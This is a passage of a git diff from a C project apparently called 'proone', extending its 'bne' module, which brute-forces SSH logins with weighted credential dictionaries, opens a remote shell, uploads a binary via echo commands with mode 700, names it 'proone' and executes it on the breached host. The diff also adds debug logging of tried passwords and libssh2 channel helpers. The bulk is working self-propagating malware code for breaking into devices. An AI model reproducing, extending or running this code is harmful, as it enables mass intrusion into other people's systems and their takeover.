+ for (prne_llist_entry_t *ent = sh_ctx->up_loc.head;
+ ent != NULL;
+ ent = ent->next)
+ {
+ char *mp = (char*)ent->element;
+
+ avail_cmd = sh_ctx->avail_cmds & IMPL_UPLOAD_METHODS;
+ while (true) {
+ upload_f = NULL;
+
+ cur_cmd = avail_cmd & BNE_AVAIL_CMD_ECHO;
+ if (cur_cmd) {
+ avail_cmd &= ~cur_cmd;
+ upload_f = bne_sh_upload_echo;
+ goto START_UPLOAD;
+ }
+
+START_UPLOAD:
+ if (upload_f == NULL) {
+ break;
+ }
+
+ ret = bne_sh_prep_upload(
+ ctx,
+ sh_ctx,
+ mp,
+ exec_name,
+ "700");
+ if (ret) {
+ ret = upload_f(ctx, sh_ctx, exec_name);
+ if (ret) {
+ ret = bne_sh_run_exec(ctx, sh_ctx, exec_name);
+ if (ret) {
+ goto END;
+ }
+ }
+ bne_sh_cleanup_upload(ctx, sh_ctx, mp);
+ }
+ }
+ }
+
+END: // CATCH
+ prne_free_bin_rcb_ctx(&rcb);
+ prne_free(exec_name);
+
+ return ret;
+}
+
+/*******************************************************************************
+ SSH Vector Impl
+*******************************************************************************/
static void bne_vssh_discon (
bne_vssh_ctx_t *vs,
const struct timespec *to,
const int reason,
const char *desc)
{
- pth_event_t ev;
+ pth_event_t ev = NULL;
if (vs->ss == NULL) {
return;
}
- ev = pth_event(
- PTH_EVENT_TIME,
- prne_pth_tstimeout(*to));
- prne_assert(ev != NULL);
-
+ bne_reset_timer(&ev, to);
prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev);
pth_event_free(ev, FALSE);
}
@@ -169,19 +1190,15 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
struct sockaddr_in *sa4;
struct sockaddr_in6 *sa6;
socklen_t sl;
- int af;
- pth_event_t ev;
+ int af, f_ret;
+ pth_event_t ev = NULL;
const struct timespec *pause = NULL;
if (vs->ss != NULL) {
return true;
}
- ev = pth_event(
- PTH_EVENT_TIME,
- prne_pth_tstimeout(BNE_CONN_OP_TIMEOUT));
- prne_assert(ev != NULL);
-
+ bne_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) {
bne_port_t *p = (bne_port_t*)vs->ports.head->element;
@@ -215,6 +1232,13 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
default: continue;
}
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ "bne@%"PRIxPTR"\t: knocking %"PRIu16"\n",
+ (uintptr_t)ctx,
+ p->port);
+ }
+
if (!bne_do_connect(af, (struct sockaddr*)m_sa, sl, &vs->fd, ev)) {
ctx->result.err = errno;
goto END;
@@ -234,7 +1258,14 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
}
libssh2_session_set_blocking(vs->ss, 0);
- if (prne_lssh2_handshake(vs->ss, vs->fd, ev) == 0) {
+ f_ret = prne_lssh2_handshake(vs->ss, vs->fd, ev);
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ "bne@%"PRIxPTR"\t: handshake %d\n",
+ (uintptr_t)ctx,
+ f_ret);
+ }
+ if (f_ret == 0) {
ctx->result.err = 0;
ret = true;
break;
@@ -260,154 +1291,6 @@ END:
return ret;
}
-/*
-*
-* Does linear search to save memory. This is slow. But hey, as long as it works.
-*/
-static bool bne_pop_cred (
- prne_bne_t *ctx,
- const bool per_id)
-{
- prne_cred_dict_entry_t *ent, *rc = NULL;
- size_t coin;
- uint_fast16_t w_tmp;
- uint8_t wv;
- prne_iset_t w_set;
- prne_llist_t cl;
- const char *ent_id, *ent_pw;
- bool ret = true, id_match;
-
- if (ctx->cred_set.size == 0) {
- return false;
- }
- if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) {
- ctx->result.err = errno;
- return false;
- }
-
- prne_init_iset(&w_set);
- prne_init_llist(&cl);
-
- // gather weight values
- for (size_t i = 0; i < ctx->cred_set.size; i += 1) {
- ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
- if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) {
- ctx->result.err = errno;
- ret = false;
- goto END;
- }
- }
-
- do {
- w_tmp = 0;
- for (size_t i = 0; i < w_set.size; i += 1) {
- w_tmp += (uint_fast16_t)w_set.arr[i];
- }
-
- // determine weight
- if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) {
- ctx->result.err = errno;
- ret = false;
- goto END;
- }
-
- if (w_tmp > 0) {
- coin = coin % w_tmp;
-
- w_tmp = 0;
- wv = (uint8_t)(w_set.arr[w_set.size - 1]);
- for (size_t i = 0; i < w_set.size; i += 1) {
- w_tmp += (uint_fast16_t)w_set.arr[i];
- if (coin < w_tmp) {
- wv = (uint8_t)(w_set.arr[i]);
- break;
- }
- }
- }
- else {
- wv = 0;
- }
-
- // search
- prne_llist_clear(&cl);
- for (size_t i = 0; i < ctx->cred_set.size; i += 1) {
- ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
- ent_id = ctx->param.cred_dict->m + ent->id;
-
- if (per_id && ctx->result.cred.id != NULL) {
- id_match = strcmp(ctx->result.cred.id, ent_id) == 0;
- }
- else {
- id_match = true;
- }
-
- if (id_match && ent->weight == wv) {
- if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) {
- ret = false;
- ctx->result.err = errno;
- goto END;
- }
- }
- }
-
- if (cl.size > 0) {
- prne_llist_entry_t *le;
-
- if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) {
- ctx->result.err = errno;
- ret = false;
- goto END;
- }
- coin = coin % cl.size;
-
- le = cl.head;
- for (size_t i = 0; i < coin; i += 1) {
- le = le->next;
- }
-
- rc = (prne_cred_dict_entry_t*)le->element;
- goto END;
- }
- else {
- // try next weight value
- prne_iset_erase(&w_set, (prne_iset_val_t)(wv));
- }
- } while (w_set.size > 0);
-
-END:
- prne_free_iset(&w_set);
- prne_free_llist(&cl);
- bne_free_result_cred(ctx);
- if (rc != NULL && ret) {
- size_t id_len, pw_len;
-
- prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc);
-
- ent_id = ctx->param.cred_dict->m + rc->id;
- ent_pw = ctx->param.cred_dict->m + rc->pw;
- id_len = strlen(ent_id);
- pw_len = strlen(ent_pw);
-
- ctx->result.cred.id = prne_alloc_str(id_len);
- ctx->result.cred.pw = prne_alloc_str(pw_len);
- if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) {
- ctx->result.err = errno;
- ret = false;
- bne_free_result_cred(ctx);
- }
- else {
- memcpy(ctx->result.cred.id, ent_id, id_len + 1);
- memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1);
- }
- }
-
- if (ctx->param.cb.exit_dd != NULL) {
- ctx->param.cb.exit_dd();
- }
-
- return ret;
-}
-
static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
bool ret = false;
pth_event_t ev = NULL;
@@ -434,12 +1317,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
}
}
- pth_event_free(ev, FALSE);
- ev = pth_event(
- PTH_EVENT_TIME,
- prne_pth_tstimeout(BNE_SCK_OP_TIMEOUT));
- prne_assert(ev != NULL);
-
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
if (vs->auth_list == NULL) {
const char *tmp = prne_lssh2_ua_list(
vs->ss,
@@ -476,6 +1354,14 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
if (f_ret == 0) {
// need auth
// check vs->auth_list maybe?
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ "bne@%"PRIxPTR"\t: trying cred %s %s\n",
+ (uintptr_t)ctx,
+ ctx->result.cred.id,
+ ctx->result.cred.pw);
+ }
+
f_ret = prne_lssh2_ua_pwd(
vs->ss,
vs->fd,
@@ -551,16 +1437,117 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
return ret;
}
-static bool bne_do_vec_telnet (prne_bne_t *ctx) {
- // TODO
- return false;
+static ssize_t bne_vssh_read_f (
+ void *ctx_p,
+ void *buf_p,
+ const size_t buf_size,
+ pth_event_t ev)
+{
+ bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p;
+ size_t rem_size = buf_size;
+ ssize_t ret = 0, f_ret;
+ char *buf = (char*)buf_p;
+ bool eof[2] = { false, false };
+ int tmp;
+ struct pollfd pfd;
+
+ pfd.fd = ctx->fd;
+ while (true) {
+ f_ret = libssh2_channel_read_stderr(
+ ctx->ch_shell,
+ buf,
+ rem_size);
+ if (f_ret < 0) {
+ if (f_ret != LIBSSH2_ERROR_EAGAIN) {
+ ret = -1;
+ break;
+ }
+ }
+ else if (f_ret > 0) {
+ ret += f_ret;
+ buf += f_ret;
+ rem_size -= f_ret;
+ }
+ else {
+ eof[0] = true;
+ }
+
+ if (ret > 0) {
+ break;
+ }
+
+ f_ret = libssh2_channel_read(
+ ctx->ch_shell,
+ buf,
+ rem_size);
+ if (f_ret < 0) {
+ if (f_ret != LIBSSH2_ERROR_EAGAIN) {
+ ret = -1;
+ break;
+ }
+ }
+ else if (f_ret > 0) {
+ ret += f_ret;
+ buf += f_ret;
+ rem_size -= f_ret;
+ }
+ else {
+ eof[1] = true;
+ }
+
+ if (ret > 0 || (eof[0] && eof[1])) {
+ break;
+ }
+
+ tmp = libssh2_session_block_directions(ctx->ss);
+ pfd.events = 0;
+ if (tmp & LIBSSH2_SESSION_BLOCK_INBOUND) {
+ pfd.events |= POLLIN;
+ }
+ if (tmp & LIBSSH2_SESSION_BLOCK_OUTBOUND) {
+ pfd.events |= POLLOUT;
+ }
+
+ tmp = prne_pth_poll(&pfd, 1, -1, ev);
+ if (tmp <= 0) {
+ ret = -1;
+ break;
+ }
+ }
+
+ return ret;
+}
+
+static ssize_t bne_vssh_write_f (
+ void *ctx_p,
+ const void *buf_p,
+ const size_t buf_size,
+ pth_event_t ev)
+{
+ bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p;
+ return prne_lssh2_ch_write(
+ ctx->ss,
+ ctx->ch_shell,
+ ctx->fd,
+ buf_p,
+ buf_size,
+ ev);
}
static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
- // TODO
- static const char *CMD = "echo \"boop!\" > /tmp/prne.boop\n";
- prne_lssh2_ch_write(vs->ss, vs->ch_shell, vs->fd, CMD, strlen(CMD), NULL);
- return true;
+ bne_sh_ctx_t sh_ctx;
+ bool ret;
+
+ bne_init_sh_ctx(&sh_ctx);
+ sh_ctx.ctx = vs;
+ sh_ctx.read_f = bne_vssh_read_f;
+ sh_ctx.write_f = bne_vssh_write_f;
+
+ // TODO: try exec cat command on a separate channel, write() binary directly
+ ret = bne_do_shell(ctx, &sh_ctx);
+
+ bne_free_sh_ctx(&sh_ctx);
+ return ret;
}
static bool bne_do_vec_ssh (prne_bne_t *ctx) {
@@ -605,6 +1592,26 @@ static bool bne_do_vec_ssh (prne_bne_t *ctx) {
// `ctx->result.cred` must be set at this point
if (vssh_ctx.ch_shell != NULL) {
ret = bne_vssh_do_shell(ctx, &vssh_ctx);
+
+ if (ret) {
+ pth_event_t ev = NULL;
+
+ bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ // close the channel and wait for the remote end to do the same
+ // this ensures that the issued commands are completed
+ prne_lssh2_close_ch(
+ vssh_ctx.ss,
+ vssh_ctx.ch_shell,
+ vssh_ctx.fd,
+ ev);
+ prne_lssh2_ch_wait_closed(
+ vssh_ctx.ss,
+ vssh_ctx.ch_shell,
+ vssh_ctx.fd,
+ ev);
+
+ pth_event_free(ev, FALSE);
+ }
}
END:
@@ -621,6 +1628,9 @@ END:
return ret;
}
+/*******************************************************************************
+ Extern Impl
+*******************************************************************************/
static void bne_free_ctx_f (void *p) {
prne_bne_t *ctx = (prne_bne_t*)p;
@@ -685,7 +1695,7 @@ prne_bne_t *prne_alloc_bne (
prne_bne_t *ret = NULL;
uint8_t seed[PRNE_RND_WELL512_SEEDLEN];
- if (ctr_drbg == NULL) {
+ if (ctr_drbg == NULL || param->cb.exec_name == NULL) {
errno = EINVAL;
return NULL;
}
@@ -711,6 +1721,7 @@ prne_bne_t *prne_alloc_bne (
ret->result.subject = &ret->param.subject;
ret->result.vec = PRNE_BNE_V_NONE;
ret->result.prc = PRNE_PACK_RC_OK;
+ ret->result.arch = PRNE_ARCH_NONE;
w->ctx = ret;
w->entry = bne_entry_f;
diff --git a/src/bne.h b/src/bne.h
index ca91a53..3dca3e5 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -32,6 +32,7 @@ struct prne_bne_param {
size_t cnt;
} vector;
struct {
+ char *(*exec_name)(void);
bool (*enter_dd)(void);
void (*exit_dd)(void);
} cb;
@@ -56,6 +57,7 @@ struct prne_bne_result {
int err;
prne_bne_vector_t vec;
prne_pack_rc_t prc;
+ prne_arch_t arch;
};
void prne_init_bne_param (prne_bne_param_t *p);
diff --git a/src/endian.h b/src/endian.h
index 2a63b4b..920f3ed 100644
--- a/src/endian.h
+++ b/src/endian.h
@@ -59,8 +59,12 @@
#if PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG
#define prne_htobe16(x) (x)
#define prne_be16toh(x) (x)
+#define prne_htole16(x) prne_einv16(x)
+#define prne_le16toh(x) prne_einv16(x)
#elif PRNE_HOST_ENDIAN == PRNE_ENDIAN_LITTLE
#define prne_htobe16(x) prne_einv16(x)
#define prne_be16toh(x) prne_einv16(x)
+#define prne_htole16(x) (x)
+#define prne_le16toh(x) (x)
#else
#endif
diff --git a/src/libssh2.c b/src/libssh2.c
index b55e093..23c2f1d 100644
--- a/src/libssh2.c
+++ b/src/libssh2.c
@@ -87,12 +87,8 @@ static int lssh2_handle (
}
f_ret = prne_pth_poll(&pfd, 1, -1, ev);
- if (f_ret < 0) {
- break;
- }
- else if (f_ret == 0) {
+ if (f_ret <= 0) {
f_ret = -1;
- errno = ETIMEDOUT;
break;
}
}
@@ -180,6 +176,38 @@ LIBSSH2_CHANNEL *prne_lssh2_open_ch (
return ctx.ret;
}
+static int lssh2_close_ch_f (void *p) {
+ lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p;
+ return libssh2_channel_close(ctx->c);
+}
+
+int prne_lssh2_close_ch (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ch_f_t ctx;
+ ctx.c = c;
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_close_ch_f);
+}
+
+static int lssh2_ch_wait_closed_f (void *p) {
+ lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p;
+ return libssh2_channel_wait_closed(ctx->c);
+}
+
+int prne_lssh2_ch_wait_closed (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ch_f_t ctx;
+ ctx.c = c;
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_wait_closed_f);
+}
+
static int lssh2_ch_req_pty_f (void *p) {
lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p;
return libssh2_channel_request_pty(ctx->c, (const char*)ctx->buf);
diff --git a/src/libssh2.h b/src/libssh2.h
index df7d315..88d1a7d 100644
--- a/src/libssh2.h
+++ b/src/libssh2.h
@@ -19,6 +19,16 @@ LIBSSH2_CHANNEL *prne_lssh2_open_ch (
const int fd,
pth_event_t ev,
int *err);
+int prne_lssh2_close_ch (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ pth_event_t ev);
+int prne_lssh2_ch_wait_closed (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ pth_event_t ev);
int prne_lssh2_ch_req_pty (
LIBSSH2_SESSION *s,
LIBSSH2_CHANNEL *c,
diff --git a/src/proone-bne.c b/src/proone-bne.c
index fd897a7..2770280 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -106,6 +106,17 @@ static void report_result (const prne_bne_result_t *r) {
}
}
+static char *cb_exec_name (void) {
+ static const char *EXEC_NAME = "proone";
+ const size_t len = strlen(EXEC_NAME);
+ char *ret = prne_alloc_str(len);
+
+ prne_assert(ret != NULL);
+ memcpy(ret, EXEC_NAME, len + 1);
+
+ return ret;
+}
+
int main (const int argc, const char **args) {
static prne_bne_vector_t ARR_VEC[] = {
PRNE_BNE_V_BRUTE_TELNET,
@@ -227,6 +238,7 @@ int main (const int argc, const char **args) {
param.rcb.m_dv = m_dv;
param.rcb.dv_len = dv_len;
param.rcb.ba = &ba;
+ param.cb.exec_name = cb_exec_name;
for (size_t i = 0; i < cnt; i += 1) {
prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1);
diff --git a/src/util_rt.c b/src/util_rt.c
index df12015..d3aa132 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -221,6 +221,27 @@ void prne_transstr (char *str, int(*trans_f)(int)) {
}
}
+char *prne_strnstr (
+ const char *haystack,
+ size_t hs_len,
+ const char *const needle,
+ const size_t n_len)
+{
+ if (n_len == 0) {
+ return NULL;
+ }
+
+ while (hs_len >= n_len) {
+ if (*haystack == *needle && memcmp(haystack, needle, n_len) == 0) {
+ return (char*)haystack;
+ }
+ haystack += 1;
+ hs_len -= 1;
+ }
+
+ return NULL;
+}
+
bool prne_hex_fromstr (const char *str, uint_fast8_t *out) {
static const uint_fast8_t shift[2] = { 4, 0 };
size_t i;
diff --git a/src/util_rt.h b/src/util_rt.h
index 3d94bf5..726cf98 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -43,6 +43,11 @@ void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t l
char *prne_strnchr (const char *p, const char c, const size_t n);
size_t prne_str_shift_spaces (char *str, const size_t len);
void prne_transstr (char *str, int(*trans_f)(int));
+char *prne_strnstr (
+ const char *haystack,
+ size_t hs_len,
+ const char *const needle,
+ const size_t n_len);
bool prne_hex_fromstr (const char *str, uint_fast8_t *out);
void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper);